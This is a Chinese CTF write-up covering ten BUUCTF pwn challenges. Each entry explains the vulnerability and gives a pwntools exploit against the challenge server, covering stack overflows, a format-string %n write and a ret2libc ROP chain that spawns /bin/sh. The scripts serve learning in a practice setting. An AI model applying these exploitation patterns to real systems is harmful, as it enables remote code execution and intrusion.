BUUCTF(1~10题wp)

BUUCTF(1~10题wp)

1.test_your_nc

运行,直接利用system函数“cat flag”即可。

2.rip

(1)解题思路

例行检查后,用 F5 查看伪代码

1

发现gets危险输入

在这里插入图片描述

看到fun函数调用了“system”,找到fun的地址 0x401186

则利用gets溢出返回到fun函数地址即可

(2)Payload

#!/usr/bin/env python
from pwn import *

sh = remote("node4.buuoj.cn",28996)

system_addr = 0x401186
sh.sendline(b'A'*15+b'a'*8 + p64(system_addr))
sh.interactive()

PS:有时栈的大小未知,需要利用GDB调试出偏移地址的大小。

3.warmup_csaw_2016

(1)解题思路

例行检查,用 F5 查看伪代码

在这里插入图片描述

发现flag提示

在这里插入图片描述

找到调用system的函数地址:0x400611

在这里插入图片描述

在这里插入图片描述

(2)GDB调试找偏移地址

1.打断点

在这里插入图片描述

2.先 r 一下

3.利用cyclic函数生成构造的字符串队列,作为程序的输入。

4.利用”cyclic -l 中断字符串“计算得出偏移:

PS:由于char构造的字符数组在实际分配内存时会多占用一个字节的内存。多出来的一个字节用来存储"\0"用来表示字符串的结束。

故所得偏移地址为64字节,即0x40为栈的大小。

(3)Payload

from pwn import *
sh = remote('node4.buuoj.cn',29352)
payload=B'a'*(0x40+8)+p64(0x400611)
sh.sendline(payload)
sh.interactive()

4.ciscn_2019_n_1

(1)解题思路

例行检查,用 F5 查看伪代码

进入fun( )函数中

在这里插入图片描述

发现需要利用gets函数溢出到v2的地址,并修改v2的值为11.28125,从而返回system函数拿到flag。

找到v2和v1的地址

在这里插入图片描述

偏移地址=0x30-0x04=0x2c

11.28125=0x41348000

(2)Payload

from pwn import *

r=remote('node4.buuoj.cn',26573)
payload=B'a'*0x2c+p64(0x41348000)
r.sendline(payload)
r.interactive()

5.pwn1_sctf_2016

(1)解题思路

例行检查后,用 F5 查看伪代码

发现只有一个“vuln()”函数,点进去

在这里插入图片描述

在网上搜索大佬的解释,发现fgets是我们的输入点,但是它只读入了32(=0x20)长度的数据,小于0x3c,没有办法造成溢出,但是这个程序有点意思的地方就在于会将一个字节的“I”替换成三个字节的“you”
那么思路来了,我们输入20字节的 “I” ,经过第19行的replace函数后会变成60字节的 “you” ,这样就可以进行溢出了,之后覆盖ebp,覆盖返回地址为输出flag的函数地址,就可以完成利用!

5.2(2)

然后用 Shift+F12 来查看程序里的字符串

在这里插入图片描述

发现有明显的flag提示

找到调用“system”函数的地址

在这里插入图片描述

在这里插入图片描述

(2)Payload

from pwn import * 

r=remote("node4.buuoj.cn",26622)
flag_addr=0x8048F0D
payload=B'I'*20+B'a'*4+p32(flag_addr)

r.sendline(payload)

r.interactive() 

6.jarvisoj_level0

(1)解题思路

例行检查后,用 F5 查看伪代码

在这里插入图片描述

在这里插入图片描述

可以利用read函数制造栈溢出。

在函数列表中发现调用system函数的提示

果然

在这里插入图片描述

记录该函数地址:0x400596

GDB调试出偏移地址为136字节,即0x88为栈的大小。

(2)Payload

from pwn import *

r=remote('node4.buuoj.cn',29850)
payload=B'a'*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()

7.[第五空间2019 决赛]PWN5 (Canary绕过)

(1)分析

在这里插入图片描述

例行检查后,用 F5 查看伪代码

在这里插入图片描述

根据网上的解释,函数的功能是读入一个4位的随机密码,再将我们输入的密码与随机生成数比较,相同就执行system。

这里面的printf()存在格式化字符串漏洞

printf()格式化字符串漏洞

在这里插入图片描述

利用思路

1.利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… ",这样的字符串来找到我们输入的参数在函数栈上的位置,即首地址偏移或者偏移量

2.假设是在栈上第n位,那么可以利用 %n$ 定位到参数在栈上的位置

3.利用%n来修改参数里的内容,我们不知道读入的随机数是多少,那么我们将它改成我们写入的数据

首先我们要定位到我们输入的字符串在栈上的位置。

我们输入的参数是在栈上的第10个,后面可以直接利用 %10$ 定位到这个位置。
随机生成函数的位置是0x804c044开始的,长度为4字节,依次+1即可。

所以可以用%10 , ,%11 ,,%12 , ,%13 ,去定位到这4个地址,再用%n修改这这个地址里的内容

绕过Canary保护机制

先用GDB运行一下

在这里插入图片描述

发现”AAAA“的ASCII编码“41414141”离首字节有10个字符串,故输入的字符定位在函数栈上的第10个位置,后面可以直接利用 %10$ 定位到这个位置。

在这里插入图片描述

从主函数中能看到随机生成函数的位置是0x804C044开始的,长度为4字节,依次+1即可。

所以可以用%10$,%11$,%12$,%13$去定位到这4个地址,再用%n修改这这个地址里的内容,因此构造payload

(2)Payload

from pwn import *

c = remote("node4.buuoj.cn",28635)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+=B'%10$n%11$n%12$n%13$n'

c.sendline(payload)
c.sendline(str(0x10101010))
c.interactive()

payload分析:

  1. payload = p32(0x804c044) + p32(0x804c045) + p32(0x804c046) + p32(0x804c047):构造一个字符串,其中包含4个32位整数,分别是0x804c0440x804c0450x804c0460x804c047。这些整数是用于指定格式化字符串漏洞中待写入的地址。

  2. payload += b'%10$n%11$n%12$n%13$n':在已构造的字符串后追加一个格式化字符串,其中使用了格式化字符串的特殊格式%n%n的作用是将前面的字符数(即已输出的字符数)写入到对应的地址中。具体来说,%10$n表示将已输出的字符数写入到第10个参数所指向的地址中,%11$n表示将已输出的字符数写入到第11个参数所指向的地址中,以此类推。

利用格式化字符串漏洞,将已输出的字符数写入到指定的地址中。通过在payload中指定不同的地址,可以将相应的值写入到这些地址中。根据payload中的内容,第10个参数的地址将被写入0x804c044,第11个参数的地址将被写入0x804c045,以此类推。这样,当程序执行到这个payload时,它会将已输出的字符数写入到指定的地址中,实现对这些地址的写入操作从而覆盖原有的canary保护。

在这里插入图片描述

8.ciscn_2019_c_1 (libc泄露地址)

(1)分析

例行检查

开启了栈不可执行,因此shellcode方法失效

F5 查看伪代码

尝试先在GDB中运行一下,发现这是一个输入1/2/3来进入以下三个函数的程序

进入这三个函数查看,在encrypt函数中发现gets,因此估计是一道ret2libc的题目,由于这是64位程序,寻找”pop、rdi、ret“就行

使用ROPgadget寻找

(2)Payload

from pwn import *
from LibcSearcher import *
#io = process("./ciscn_2019_c_1")
io = remote("node4.buuoj.cn",25096)
elf = ELF("./ciscn_2019_c_1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi_ret = 0x400c83
ret = 0x4006b9
#gdb.attach(io)
#pause()
encrypt_addr = elf.symbols["encrypt"]
main_addr = elf.symbols['main']
payload = b'a' * (0x50 + 0x08) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)
io.sendlineafter("Input your choice!\n",str(1))
io.sendlineafter("Input your Plaintext to be encrypted\n",payload)
io.recvuntil(b"Ciphertext\n")
io.recvuntil(b"\n")
puts_addr = u64(io.recvline().strip().ljust(8,b'\0'))
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')
payload = b'a' * (0x50 + 0x08) + p64(ret) +p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr) + p64(main_addr)
io.sendlineafter("Input your Plaintext to be encrypted",payload)
io.interactive()

脚本分析:

  1. elf = ELF("./ciscn_2019_c_1"):加载二进制文件ciscn_2019_c_1,并创建一个ELF对象,用于获取二进制文件中的符号信息。

  2. puts_plt = elf.plt["puts"]:从ELF对象中获取puts函数的PLT地址。

  3. puts_got = elf.got["puts"]:从ELF对象中获取puts函数的GOT地址。

  4. pop_rdi_ret = 0x400c83:设置pop rdi; ret指令序列的地址,该指令用于将参数加载到RDI寄存器中。

  5. ret = 0x4006b9:设置ret指令的地址,该指令用于返回函数调用。

  6. encrypt_addr = elf.symbols["encrypt"]:从ELF对象中获取encrypt函数的地址。

  7. main_addr = elf.symbols['main']:从ELF对象中获取main函数的地址。

  8. payload = b'a' * (0x50 + 0x08) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr):构造payload用于触发漏洞。payload包括一些填充数据(b'a' * (0x50 + 0x08))和ROP链。ROP链的作用是构造栈上的一系列指令序列,以实现漏洞利用的目的。具体来说,这个ROP链的作用是调用puts(puts_got),将puts函数的真实地址泄露出来,以便后续计算libc基址。

  9. io.sendlineafter("Input your choice!\n",str(1)):发送字符串"1"给远程服务,用于选择相应的功能。

  10. io.sendlineafter("Input your Plaintext to be encrypted\n",payload):发送payload给远程服务,用于触发漏洞。

  11. io.recvuntil(b"Ciphertext\n"):接收远程服务发送的数据,直到遇到字符串"Ciphertext\n"。

  12. io.recvuntil(b"\n"):接收远程服务发送的数据,直到遇到换行符。

  13. puts_addr = u64(io.recvline().strip().ljust(8,b'\0')):接收远程服务发送的数据,将其转换为64位整数,即puts函数的真实地址。

  14. libc = LibcSearcher("puts",puts_addr):创建LibcSearcher对象,以便后续通过puts函数地址查找libc基址和其他函数地址。

  15. libcbase = puts_addr - libc.dump('puts'):计算libc基址。

  16. system_addr = libcbase + libc.dump('system'):计算system函数的地址。

  17. str_bin_sh = libcbase + libc.dump('str_bin_sh'):计算"/bin/sh"字符串的地址。

  18. payload = b'a' * (0x50 + 0x08) + p64(ret) + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr) + p64(main_addr):构造新的payload,其中包括填充数据、ROP链和/bin/sh字符串地址。这个ROP链的作用是调用system("/bin/sh")函数。

(3)总结

通过漏洞泄露puts函数的真实地址,并计算出libc基址。然后,构造合适的ROP链来调用system函数,并传递"/bin/sh"字符串作为参数,从而获取shell权限。

  1. 找到函数地址:首先,使用ELF模块获取目标二进制文件中函数的地址。在脚本中,通过elf.pltelf.got来获取puts函数的pltgot表项的地址,以及encryptmain函数的地址。
  2. 构造漏洞触发payload:在脚本中,通过构造一系列的字节串来构造payload。首先,用b'a' * (0x50 + 0x08)填充到缓冲区,然后利用pop_rdi_retputs_got地址,以及puts_plt函数的地址,构造ROP链。最后,使用encrypt函数的地址,将payload发送给目标程序。
  3. 泄露libc基址和获取系统函数地址:通过接收目标程序返回的数据,获取泄露的puts函数的地址。然后,使用LibcSearcher模块根据泄露的puts函数地址来搜索libc库,并计算出libc基址。最后,通过libc基址计算出system函数的地址和/bin/sh字符串的地址。
  4. 构造第二个payload:使用泄露的libc基址、ret指令地址、pop_rdi_ret指令地址和/bin/sh字符串地址,构造第二个payload。ROP链的顺序为:retpop_rdi_ret/bin/shsystemmain
  5. 发送第二个payload获取shell:将第二个payload发送给目标程序,成功获取到shell。

9.ciscn_2019_c_8

(1)解题思路

例行检查,发现保护全开了

进入IDA看一下


发现只需要让var[13] = 17 就可以调用system函数了

这里需要注意:

qword全称是Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是word(2字节,0~2^16-1)的四倍,8字节

所以代码的意思是要将var[13]之后的8个字节的数据赋值为17。

(2)payload

from pwn import *

p = remote("node4.buuoj.cn",29179)
p.sendline(p32(17)*14)
p.interactive()

10.jarvisoj_level2

(1)解题思路

例行检查

在这里插入图片描述

IDA中函数很简单,

开了NX就不能用shellcode了,另外程序没有开canary(栈溢出检测)、内存地址随机化(PIE),所以用基本的ROP

找system和\bin\sh地址

system_addr=0x8048320

shell_addr=0x804a024

buf的大小是0x88,读入的数据大小是0x100,可以溢出0x78个字节

(2)payload

from pwn import*

io=remote('node4.buuoj.cn',28703)
shell_addr=0x804a024
system_addr=0x8048320

payload = b'a'*(0x88+4)+p32(system_addr)+p32(8)+p32(shell_addr)

io.sendline(payload)
io.interactive()

PS:本文章仅供个人学习使用

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值